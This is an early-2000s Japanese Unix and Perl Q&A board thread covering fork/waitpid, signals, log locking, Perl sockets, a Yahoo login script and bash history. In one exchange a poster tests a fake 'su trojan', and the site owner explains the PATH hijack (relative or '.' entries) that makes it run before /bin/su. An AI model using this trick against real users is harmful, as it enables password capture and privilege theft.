>>2969 kiki シェルって何をしているか知っていますか? 簡単に言うと、ユーザが 入力した文字列を解析し、execve(2) を実行することです。 シェルのソースをいじっていいのならば、execve(2) を発行している 部分を探して、そこで su を実行しようとしているかどうかのチェックを 行えばよいのでは、という話です。 >>2970 ふくし 入力が XML なら、 http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE の removeChild で一発なような気がします。 XML でないなら構文解析してスタックに積んで…といきたいところですが、 僕は軟弱なので - s|<tag .*?>.*?</tag>|| - 削除したのが足りなかった (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった) なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。 とします。 |
>>2967 68user > 別の解としては、システムコールの発行を hook して安全性をチェック、 > というのもありますが、UNIX でこういうのってできるのかなーと思って > 調べてみたら、なんかできるようですね。 > http://www.caj.co.jp/support/etrustac_faq.htm > Q6: eTrust Access ControlのSoft Hook技術とは何ですか? > カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を > 置き換えているのか…(できるのかな?) 最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。 詳しい人がいらっしゃったら教えてください。 全てのシステムコールは http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8 を経由するんじゃないかと思っているのですが、もしそれが正しいなら ここにチェック機能を入れた libc を用意して置き換えるか、あるいは LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。 どちらにせよアセンブラができないので、 http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html を買って勉強かな…。 |
>>2973 68user さん、ありがとうございます。 まさに xml で、そのパッケージすごく便利そうなんですが 使い方がよくわかりません ;;; でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。 |
>>2975 ふくし 別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が 幸せ度が高いかと。 # 僕は使ったことないですけど。 |
通りすがりのものですが・・・ システムコールをhookして安全性を云々というのは、 たとえば Systrace - Interactive Policy Generation for System Calls http://www.citi.umich.edu/u/provos/systrace/ こういったもののことでしょうか? (OpenBSD, NetBSD にはマージされています) |
X68000の、内臓フォントを利用するインターフェースを調べています。 フリーで有用な文書がありましたら教えていただけないでしょうか? >識者 なお当方X68000に関する知識は皆無でございます。 |
>>2960 68user様 報告が遅れまして申し訳ありません。 /usr/bin/time 実行コマンド >& 出力ファイル を実行した結果うまくいきました。ありがとうございました。 |
タグのパースの件です。 別解ですが、会社の若い者が作ったプログラムが無事動きました。 で、せっかくなので XML::DOM を入れようとしたら、 XML::Parser を入れよと言われたので、 XML::Parser を入れようとしたら、 expat を入れよと言われたので、 expat の tar.gz を解いて ./configure して Makefile を #prefix = /usr/local prefix = /henna_directory として make したら(ぼくは管理者でないので)、 gcc: unrecognized option `-R/henna_directory/lib' といわれました。ここで止まっています。 ちなみに /henna_directory/lib というディレクトリはあります。 (ついでにいうと、bin も include も man も) 待て次号。;;; |
>>2977 UMA > システムコールをhookして安全性を云々というのは、 はい、そういうものを念頭に置いていました (が、ユーザランドで できたらいいなと。無理なのかな)。 Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。 素晴らしいです。 >>2978 UMA 68user's page で X68000 の疑問が解決したことは一度もなかったりします。 インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に 頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で 聞くのが早いと思います。 >>2980 ふくし まーいろいろありますが、がんばってインストールしてください。 あと、libwww-perl あたりもいれなきゃいけないのが perl の XML モジュールのうざいところ。 |
>>2973 68user様 お返事ありがとうございます.kikiです. 丁寧なご説明ありがとうございました. おかげで理解できました.ありがとうございます. |
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。 TeraTerm 経由の mule などで PageUp が効かない場合、 Windows\Program Files\TTERMPRO\KEYBOARD.CNF の Remove=329 を ; でコメントアウトし、その下に User1=329 を追加。さらにファイルの一番最後に User1=329,0,$1B[5~ を追加。 って、ちょっと検索してみたら、 http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html の対処と全然違ってますな。なんでアレで PageUp できるんだろう。 |
OS: Solaris 2.5.1 プロセスの通知にシグナルを使っています。 これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、 今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。 そこで、質問なのですが <signal.h>にシグナルを追加できるのでしょうか? また、出来るとしたら注意しないといけない点や 影響を及ぼす範囲を教えて下さい。 よろしくお願いします。 |
>>2984 SIGNAL シグナルの追加はカーネルを書き換えないと無理です。 シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり をするのが正解でしょう。 と偉そうなことをいってますが、シグナルが足りず SIGXCPU を 使って逃げたことはあります。 |
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス が認識する方法があれば情報提供をお願いします。 ・親プロセスはwaitしません。 ・子プロセスは同じものが複数生成されます。(順次生成) ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。 理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果 が格納されるようなものです。 |
>>2986 koko > ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ > や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、 の方法を取らないのであれば、無理なんじゃないでしょうか。 |
>>2986 koko > ・親プロセスはwaitしません。 親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで チェックするのもダメですか? --- snip --- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/wait.h> void handler(int sig) { int pid,status,code; while((pid=waitpid(-1,&status,WNOHANG))>0) { if(WIFEXITED(status)) { code = WEXITSTATUS(status); printf("child process:[%d] was exited with code:[%d]\n",pid,code); } } } int main(int argc,char *argv[]) { int i,pid,code; char buf[16]; struct sigaction sa; if(argc>1) { code = atoi(argv[1]); srand(code+time(0)); sleep(rand()%10); return code; } memset(&sa,0,sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = handler; sigaction(SIGCHLD,&sa,0); for(i=0;i<10;i++) { if((pid=fork())<0) { perror("fork"); return -1; } if(pid) continue; sprintf(buf,"%d",i); if(execl("./a.out","./a.out",buf,0)<0) { perror("execl"); return -2; } } for(;;) sleep(1); return 0; /* never reaches */ } --- snip --- かなり適当ですが。 |
>>2988 hsj 他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。 試してみたいと思います。 >>2987 68user 今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に なるかと思います。 ご回答頂き、ありがとうございました。 |
>>2986 koko > ・親プロセスはwaitしません。 ってのは親プロセスにも手を入れたくないという意味かと思った のですが、wait でブロックさせたくないという意図だったのですね。 読み違えておりました。 |
こんにちは 質問があってきました Perlを使っていると system関数やexec関数を使うようになりました 便利でとてもよいのですが Root権限でコマンドが実行されているような気がします くわしくはまだ確認していません。 また、CGIでファイルマネージャーを使っていますが これも同じようにパスワードファイルなどを開かれるという欠点があります 全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし 一部だけのパーミッション設定もだめです 例)/homeを000にするが/home/userが777だとアクセスされてしまう これらのことからセキュリティーホールとなっていてとても不安です これらについての対処法はなにかないでしょうか? |
>>2991 Japper > Root権限でコマンドが実行されているような気がします perl スクリプト中で print "$<\n"; print "$>\n"; の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは 勘違いではないかと思います)。 > これも同じようにパスワードファイルなどを開かれるという欠点があります 書きかけですが、 http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html が参考になるかもしれません。 |
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、 ・・・・・・・・・・ブラウザのlog・・・・・・・・・ <ブラウザのPOST> POST /config/login?5934sjuoe8ci4 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Cookie: B=cv85agsv02md9&b=2 Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=cq4ce2ov02mdi .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=******** passwd=*********** <レスポンス> HTTP/1.1 302 Found Date: Thu, 19 Dec 2002 05:31:58 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie:**** Set-Cookie:**** Set-Cookie:**** ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・ このセッションがどうしても上手くいかず、3種のset-cookie が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ んが、下記に示します。 try{ URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4"); URLConnection uc = u.openConnection(); uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2); uc.setDoOutput(true); uc.setDoInput(true); OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP"); query.Encode3(".tries","1"); query.Encode1(".src","auc"); query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc"); query.Encode1("promo",""); *query.Encode()はクエリー文字列にするための関数です。 query.Encode1(".intl","jp"); query.Encode1(".bypass",""); query.Encode1(".partner",""); query.Encode1(".u",data2); query.Encode1(".v","0"); query.Encode1(".fUpdate","Y"); query.Encode1("hasMsgr","0"); query.Encode1(".chkP","Y"); query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus"); query.Encode1("login",ID); query.Encode1("passwd",PW); out.write(query.toString()); out.write("\r\n"); out.flush(); out.close(); /////////////(1)////////////////////////////// for (int j = 0; ; j++) { String header = uc.getHeaderField(j); if (header == null) break; System.out.println(uc.getHeaderFieldKey(j) + ": " + header); } } catch (Exception a) { System.err.println(a); } ちなみに(1)で出力されたヘッダ情報は null: HTTP/1.1 200 OK Date: Thu, 19 Dec 2002 07:16:58 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp 上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。 では、失礼します。 |
>>2993 ruku いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを POSTすれば行けるんじゃないでしょうか。 この手のwebアプリはログイン後の画面ではCookieだけでなく、 それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、 Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに 入れた)値とのクロスチェックでユーザを認証している場合があります。 YAHOO!オークションがどうなっているかは知りませんが、 その手の仕組みが組み込まれているんじゃないでしょうか。 |
>>2993 ruku うまくいかないときのアプローチとしては、まずはやっぱり telnet とか Socket で直接つなぐ方がいいんじゃないでしょうかね。 アクセスに成功する QUERY は知っているし、失敗する QUERY も 知っているわけで (よくわかってませんが、OutputStreamWriter に 細工をすればリクエストの生データが取れるんですよね? ) その 2つの内容をつきあわせて一つ一つチェックすると。ないとは 思いますが、もしかしたら USER_AGENT で制限かけてたりする かもしれませんし。 |
おひさしぶりです。kikiです。前回はお世話になりました。 今回もお聞きしたいことがあり、書き込ませていただきました。 今、私はbash(2.04)をいじって、以下のことが したいと思っているのです。それは 1.コマンドが実行された時間をそのコマンド履歴といっしょに 特定のファイルに出力する。(.bash_historyに タイムスタンプをつける感じです。 2.特定のファイルにコマンド履歴が追加されるタイミングを そのコマンドが打ち込まれた直後になるようにする。 このようなことはbashのソースを書き換えればできるのでしょうか? どうかご教授をよろしくお願い致します。 P.S. history -w の様なことを自動的にできればいいのですが、 historyコマンドは、シェル自身のコマンドなので無理でしょうし。 うーん。 |
>>2994 hsj 貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。 >>2995 68user ソケットで試してみます。貴重なアドバイスありがとうございました。 |
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら プログラムと同じになりました。次にlogを示します。 +++GET 457+++ POST /config/login?2v1pmh3i6v229 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=5g07ercv0d4tr .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=************* passwd=***************** +++RESP 457+++ HTTP/1.1 302 Found Date: Mon, 23 Dec 2002 04:40:38 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: ****** Set-Cookie: ****** Set-Cookie: ****** +++CLOSE 457+++ +++GET 458+++ GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Pragma: no-cache Connection: keep-alive Browser reload detected... +++RESP 458+++ HTTP/1.1 200 OK Date: Mon, 23 Dec 2002 04:40:38 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp +++CLOSE 458+++ cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理 しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか? |
>>2998 ruku 先ほど試しにncで > いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と > .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを > POSTすれば行けるんじゃないでしょうか。 をやってみたところ、問題なく3つのCookieが発行されました。 #ただし、最初のGETは/cofig/login?.src=aucに対して行いました。 なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。 |
> 2996 > このようなことはbashのソースを書き換えればできるのでしょうか? 入力を解析し、プロセスを実行しているのは bash なので、ソースに手を いれれば何でも可能です。 |
>3000 68user様 お返事ありがとうございます.kikiです. やってみましたところ、なんとかできました。 ありがとうございました。 |
C言語で複数のプロセスが同一のファイルに対してログを出力する処理を作成したいのですが、このような共有書き込み用のファイルを設ける方法としてUNIXでよくやる方法というものはあるでしょうか。 もちろん、定石でなくても良いです。 できれば、書き込み時に自分でファイルをロック、アンロックしない、要するにできるだけ楽をしたいです。 ログの書き込みは同時に発生する可能性があります。 Windowsであれば、共有書き込みでファイルを開く関数があるのですが...。 ●処理イメージ 1.親プロセスでログファイルを開く。 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。 3.全子プロセス終了後にログファイルを閉じる。 よろしくお願い致します。 |
はじまめして UNIXのファイルアクセスでつまづいています。 Aという、所有者がnobody のファイルがあるのですが、あるunixサーバでは webというユーザからアクセス(名前変更)ができます。 ところが、同じOSの別のサーバにあるBという、所有者がnobodyのファイル にはwebというユーザからアクセスできません。 nobodyのファイルはどのユーザでもアクセスできると認識しているのです が、ソフトのインストールやセキュリティの設定などでアクセスできないようにすることが可能なのでしょうか? どなたかご存知の方いらっしゃいましたら教えてください。 |
>>2992 68user ご回答ありがとうございます パスワード的なことはやはりcrypt関数を使うことで解決できそうな気がします >> Root権限でコマンドが実行されているような気がします >perl スクリプト中で > print "$<\n"; > print "$>\n"; >の結果のいずれかが 0 なら root 権限を得ています やはり両方とも 0 を返しました このことからRoot権限を得ているのでしょうか? Root権限を与えない方法はどのようにすればよいのでしょうか? よろしくお願いします |
> 3003 yuuji WebサーバがApacheならsuEXECを使えばいいと思いますよ。 http://httpd.apache.org/docs/suexec.html |
>>2999 hsj ありがとうございます。わかりました。頑張ってみます。 |
>>3002 koko > できれば、書き込み時に自分でファイルをロック、アンロックしない、 > 要するにできるだけ楽をしたいです。 これを第一に考えるなら syslog か、syslog-ng を使いましょう。 daemon を立ち上げておけないのなら、open で O_SHLOCK を使うとか (ま、結局ロックしているわけですが)。 また、 > 1.親プロセスでログファイルを開く。 > 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。 という形態であれば、普通は pipe(2) して、fork(2) して、子が親にデータを 渡し、親がログに書く、というふうになるでしょう。 http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/links/link-check.pl?rev=HEAD&content-type=text/x-cvsweb-markup は子が親に 1行だけデータを渡す例です。 あるいは親が名前付きパイプを作成し、子がそこに書き込むとか。 いずれにせよ、syslog が使えないなら、syslog 相当のものを 自作する必要はあります。 |
>>3003 yuuji > nobodyのファイルはどのユーザでもアクセスできると認識して > いるのですが 誤りです。nobody はただの一ユーザであって、所有者が nobody の ファイルを扱えるかどうかは そのファイルのパーミッションと、ファイルが 置かれているディレクトリのパーミッションによります。 UNIX においては、誰よりも権限が高いユーザは存在しますが (root)、 誰よりも権限が低いユーザというのは存在しません。 >>3004 Japper > このことからRoot権限を得ているのでしょうか? そうです。 > Root権限を与えない方法はどのようにすればよいのでしょうか? suExec の前に、設定を見直した方がよいでしょう。 もし apache ならば、あえてそういうふうに設定しない限り root 権限は得られません。そういう web サーバを使い続けることは 非常に恐いので、まっとうなインストール方法を勉強するか、 web サーバをインストールした人に何をしたのか聞いてみる ことをお勧めします。 # 「デフォルトが root 権限で動く web サーバ」なら正常動作 # なんでしょうが、そんな web サーバは嫌だ。 |
こんにちは もうすぐ2003年ですね 仕事でSolaris8をいじるようになって早くも4年目に突入です まだまだ未熟者ですがよろしくお願いします 自宅では2001/01版のSolaris8を「WS440BX」で使ってるのですが 最近I845系のマシン(ペンティアム4系)にUPしようと考えるようになりました 当然ながらチップセットやディスクコントローラ、システムコントローラ等の ドライバを入手する必要があるのですが、苦慮しています 新型機の候補としては「D845GALLY」あたりを考えているのですが 情報等あればよろしくお願いします |
EWSのデバイス情報(CPUのクロック数、メインメモリ)を知ることができる UNIXコマンドがありましたら、教えて下さい。 |
perlでネットワークプログラムを試作してます。 echoをC/Sで動作する事は出来るようになりましたが、ファイルを ネットワーク越しに転送するにはどうすればいいのでしょうか? 同じくperlによるC/Sです。 |
はじめまして。 echoサーバーサンプルを参考にしてPerlでちょっとしたチャットサーバーなんかを作ってます。 そこでいきなり質問なんですが、PerlでBroken Pipeエラーを回避するようにできないでしょうか? Broken Pipeとは存在しないソケットに対して書き込んでしまったときにでるエラーのようで、クライアントが強制切断してしまったときなどは回避できません。 どうにか皆様のお知恵をお借りできませんでしょうか。 |
あけましておめでとうございます。kikiです。 本年もよろしくお願い致します。 >>68user様 ずいぶんと古い話で申し訳ありませんが、 >>2956 の解決策をためそうとしましたところ、 1. PATH=../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 が、どういう事を意味するのかわかりませんでした。 そして、これはどこで行うのでしょうか? suトロイの実行前の準備としてでしょうか? ご教授よろしくお願いします。 P.S. PATH=.:$PATH にしておくき、suトロイがおいてある場所で、suコマンドを打ち込むと suトロイが実行され、もう一度suコマンドを打つと しっかり/bin/suが実行されますが、 suトロイがおいてある場所以外で同じことをしようとすると suトロイは実行されず、いきなり/bin/suが 実行されました。 コマンドを探す順番は、カレントディレクトリからということでしょうか。 うーん、調べてみます。 |
今年こそはちゃんと web を更新するぞ、と。 てなわけで、今年もよろしくお願いします。 >>3009 ELVIS >>3010 しましま 少なくとも僕はわかりません。申し訳ない。 >>3011 とむやむ > ファイルをネットワーク越しに転送するにはどうすればいいのでしょうか? 以下のやりとりが参考になるでしょうか。 >>2827 Tetsu >>2828 68user ftp クライアントと ftp サーバを作るもよし、自分でプロトコルを 決めるもよし、ということです。 >>3012 HIGE > PerlでBroken Pipeエラーを回避するようにできないでしょうか? SIGPIPE をキャッチしてください。使用例はこちら。 http://x68000.startshop.co.jp/~68user/net/http-proxy.html >>3013 kiki > PATH=../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリが /dir1/dir2/dir3 であるとき、 ../ は /dir1/dir2 です。 ../../ は /dir1 です。 ../../../ は / です。 ../../../../ は / です。 ../../../../../ は / です。 ../../../../../home は /home です。 ../../../../../home/foo は /home/foo です。 ../../../../../home/foo/bar は /home/foo/bar です。 ってことです。 > PATH=.:$PATH > コマンドを探す順番は、カレントディレクトリからということでしょうか。 . はカレントディレクトリですから。 |
>>3007 68user ご回答ありがとうございます。 やはり、ファイルに同時書き込みをするにはロック、もしくはそれに相当する制御は欠かせませんね。 素直にsyslogを使用すれば良いのですが都合でsyslogは使用できません。 頂いた参考URL等を参考にしながら対策を検討します。 |
★ \(^o^)v 大 発 見 !♪ 〜♪ とっても 参考にさせて頂いて ♪ ~~\(^o^)♪ 〜 夢 と 希望 が 叶いました〜♪ (^o^)/~~ ありがとう |
もし、ご存知であれば教えてください。 ファイルの日付を比較して新しいほうのファイルを表示したいです。 サーバが異なる場所(ネットワークには接続できる)に、 それぞれファイルが存在するします。 同じマシンであれば、>find file1 -newer file2 -print で表示されるのです。remshで実行しようとしてもうまくいきません。 ご教授お願いいたします。 |
AIX上でファイル内の先頭行と最終行を削除したいのですが UNIXコマンドで行を指定して削除することはできないのでしょうか? ※C言語の処理内で行いたいのでsystem関数で可能な方法 もしご存知であれば教えてください。 よろしくお願いします。 |
>>3017 ピョンタン remsh でリモートのファイルのタイムスタンプを表示して、ローカルの 方より若ければ rcp するか、とりあえず別のファイル名で rcp して、 ローカルで比較するか、てな感じで。 >>3018 kenken > AIX上でファイル内の先頭行と最終行を削除したいのですが % tail +2 < file | ??? | tail +2 | ??? でいけた記憶があります。??? はファイルの内容を逆順にする コマンドですが、なんだったっけなー。ど忘れしました。 % cat -n file | tail +2 | sort -r | tail +2 | sort | sed 's/^.......//' てな方法もあります。 まぁファイルサイズが大きいなら perl か awk でさくっと書いた方が よいでしょう。 |
ご回答ありがとうございます。 大変助かります。>No.3019(NO3017についての回答) もうひとつ教えてください。ファイルの タイムスタンプを取得するのに、 (1)Jan 9 2001 ← 2001/01/09 (2)Dec 10 13:56 ← 2002/12/10 (3)Jun 1 15:00 ← 2003/01/01 というふうに統一性がありません。 特に、(2),(3)だったらどうやって比べればいいのでしょうか? 申し訳ありませんが教えて下さい。 |
>>3020 ピョンタン % ls -lT % ls --fulltime -l % perl -e 'printf "%d\n", (stat("/foo/bar/baz"))[9]' などなど。 |
お返事ありがとうございました。>No.3021 大変助かりました。 もう少しだけ教えてください。 %ls -fulltime -l で確認することができましたが、 参考書や、Webで検索しても の「fulltime」の引数指定意味がよくわかりません。 しかも、私は ×"--fulltime" ○"-fulltime" で、なんとなくうまくいきました。 本当にお手数をおかけしますが、あともう少しなので 教えて下さい。どうかよろしくお願いします。 |
% ls --fulltime -l は % ls --full-time -l の間違いでした。 >>3022 ピョンタン > ○"-fulltime" お使いの OS に興味があります。OS の名前を教えてください (てゆーか 質問する際に OS や環境を明示してくださいね)。 意味については % man ls に説明があるはずです。 |
初めまして、お世話になります。 68userさんのページのhttp-proxy http://x68000.startshop.co.jp/~68user/net/http-proxy.html をhttpポートフォワーダーに改造して使わせてもらっている物です。 Linuxですが、、連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)、いろいろ手を加えてみましたが、未だにこのMEM増加を改善できませんでした。 そこでこれをforkを使ったechoサーバを参考にfork版に修正しました。 while (my $sock = $sock_waiting->accept){ my $pid = fork(); my $cpid = $pid ; if ($pid!=0) { close($sock) ; next ;#parlent process } print " FROM Browser. Accept $sock.\n"; #Child process my ($buf,$request); while (1){ my $brs = sysread($sock, $buf, 10000); $request .= $buf; if ($brs) { last ; } } print " FROM Browser. Read OK.\n"; ここに転送先サーバ側とのソケット作成と受信&ブラウザへの返信を記述 print " FROM Browser. Finished.\n"; close($sock); print " FROM Browser. process End \n"; exit ; } の様に子プロセスのexit文もいれました。なのにpsで見ると、、 hoge 19438 12855 0 14:55 pts/21 00:00:00 perl http-proxy2.pl hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19579 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19580 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19581 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] アクセスした分この様なプロセスが残りっぱなしになります。 当然大元スクリプトを停止すればプロセスは消えます。 どうか宜しくご意見ください。 |
>>3024 テクノソルジャー > hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] > アクセスした分この様なプロセスが残りっぱなしになります。 wait していないからです。以前指摘をいただいたのですが、時間が とれず手付かずになっています (申し訳ない)。 >>2584 persianopeh をどうぞ。 > 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え) どうもオリジナル版のバグっぽいですね。久々に使ってみましたが、 確かにメモリ使用量がだんだん増えていきました。調べておきます。 # と言っても暇がない〜。 |
>>3024 テクノソルジャー > 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え) コネクションを切断しても %conn_table_rev が IO::Socket::INET の オブジェクトを指しているみたいです。 あと、%conn_table もキーが増えつづけるようです (値は undef かな?) %conn_table_rev ほどではありませんが (一回あたり数十バイトくらい でしょうか)、メモリリークなのは確かですね。 なので、remove_contable で適切にハッシュを delete してやればよい のかもしれませんが、明日も仕事なのでこの辺で… (´・ω・`) |
お忙しいところ調査並びご返事ありがとうございます! >>3025 68user なるほど、、その仕組みが理解できませんが、、 連休明けには会社で早速処置してみます! >>3026 68user こちらはclose漏れかといじって見ましたが、、ハッシュにバインドされているから生成オブジェクトが開放されなかったのですね〜 ハッシュにdefunで増加など考えもしませんでした。 私的に貴重な知識を得ましたです! |
久々にこのサーバのメンテナンスしようとしたら、cron (デーモン) は 2001/11 から止まってるわ、間違って ~/bin/ は消してしまうわで もう散々。 いろいろ動かなくなっていると思いますが、なるべく早く直したいと思います。 |
